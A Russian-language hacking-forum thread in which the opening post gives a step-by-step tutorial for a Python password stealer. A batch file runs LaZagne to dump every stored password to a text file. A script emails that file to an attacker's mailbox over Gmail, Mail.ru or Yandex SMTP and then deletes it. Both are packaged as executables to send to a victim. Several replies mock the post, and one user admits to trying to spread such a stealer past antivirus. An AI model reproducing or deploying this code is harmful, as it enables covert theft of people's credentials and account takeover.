Загрузка...

******* на питоне

Тема в разделе Вирусология создана пользователем Mag1str 17 июн 2021. 1202 просмотра

Загрузка...
  1. Mag1str
    Mag1str Автор темы 17 июн 2021 нужно вовремя ценить 273 28 июл 2020
    Поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем ******* который соберет все наши пароли и отправит их нам по почте.

    Нам понадобится:
    1. Python 3.x.x
    2. Инструмент для восстановления паролей(в нашем случае LaZagne)
    3. Два аккаунта Google

    И так начинаем
    Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

    У нас должна получится такая структура:

    Project:
    Пишем код
    Откроем файл main.bat и поместим туда код:
    Код
    @Echo off
    laZagne.exe all > pass.txt
    Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?

    Отправка на почту
    Открываем файл send.py и вставляем код:
    Код
    import smtplib                                             
    import os

    import mimetypes
    from email import encoders
    from email.mime.base import MIMEBase
    from email.mime.text import MIMEText
    from email.mime.image import MIMEImage
    from email.mime.audio import MIMEAudio
    from email.mime.multipart import MIMEMultipart

    def send_email(addr_from, password, addr_to, files):

    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()
    msg['From'] = addr_from
    msg['To'] = addr_to
    msg['Subject'] = msg_subj

    body = msg_text
    msg.attach(MIMEText(body, 'plain'))

    process_attachement(msg, files)

    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
    #============================================

    def process_attachement(msg, files):
    for f in files:
    if os.path.isfile(f):
    attach_file(msg,f)
    elif os.path.exists(f):
    dir = os.listdir(f)
    for file in dir:
    attach_file(msg,f+"/"+file)

    def attach_file(msg, filepath):
    filename = os.path.basename(filepath)
    ctype, encoding = mimetypes.guess_type(filepath)
    if ctype is None or encoding is not None:
    ctype = 'application/octet-stream'
    maintype, subtype = ctype.split('/', 1)
    if maintype == 'text':
    with open(filepath) as fp:
    file = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
    elif maintype == 'image':
    with open(filepath, 'rb') as fp:
    file = MIMEImage(fp.read(), _subtype=subtype)
    fp.close()
    elif maintype == 'audio':
    with open(filepath, 'rb') as fp:
    file = MIMEAudio(fp.read(), _subtype=subtype)
    fp.close()
    else:
    with open(filepath, 'rb') as fp:
    file = MIMEBase(maintype, subtype)
    file.set_payload(fp.read())
    fp.close()
    encoders.encode_base64(file)
    file.add_header('Content-Disposition', 'attachment', filename=filename)
    msg.attach(file)

    #=====Настройки=================================
    _from = "from@gmail.com"
    _password = "password"
    _to = "to@gmail.com"
    files = ["pass.txt"]
    #=============================================

    send_email(_from, _password, _to, files)

    Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
    Код
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
    Код
    server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()

    Код
    server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()

    Доделываем .bat
    Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:
    Код
    send.py
    del /s "pass.txt"
    Сборка
    Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:
    Код
    pip install pyinstaller
    pyinstaller --onefile send.py
    Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками("...") и ищем ваш файл main.bat, жмем "Открыть", после чего жмем "Convert" и получаем файл main.exe. Эти три файла и есть наш *******, можем отправлять другу и радоваться проверять на работоспособность.
     
  2. ANALWORM
    ANALWORM 17 июн 2021 Статус: 3 27 дек 2019
    Ты из 2007 сбежал?
     
    1. ZProger3
      Mag1str, просто тема уже ДАВНО не новая
  3. whom
    whom 17 июн 2021 Качественная разработка lolz.live/threads/7145903
    Да нельзя писать *******ы на питоне.
     
  4. whom
    whom 17 июн 2021 Качественная разработка lolz.live/threads/7145903
    Лень объяснять очевидные вещи
     
    1. CoderVir
      whom, Я ему обьяснил с матом это, маленькай, обиделся и кинул жалобы на мои сообщения. Я ещё не говорю о том, что это паста ебучая с ютуба.
  5. yashamore
    yashamore 18 июн 2021 0 13 мар 2021
    я сегодня ******* сделал, но хз как его продвинуть для скачки, везде антивирус ругается
     
  6. chayka1338
    chayka1338 18 июн 2021 55 31 янв 2021
    ужас
     
  7. premori
    premori 18 июн 2021 Заблокирован(а) 1346 7 фев 2021
    Питон универсальный ЯП, на питоне как правило пишут сетевой код и обработчик данных(в большихз компаниях), но честн6о сказать питон не подходит для написания *******ов и троянов ибо уж очень слабое ООП
     
    1. CoderVir
      premori, бекэнд, если простыми словами.
  8. Zhenstick
    Zhenstick 24 июн 2021 70 8 апр 2021
    спасибо,очень интересная статья
     
  9. SergeyEsenin_inactive3983950
    спасибо, благодарен очень. Интересно.
     
  10. zikyra
    zikyra 20 июл 2021 0 3 дек 2020
    Автору вагон змей
     
Top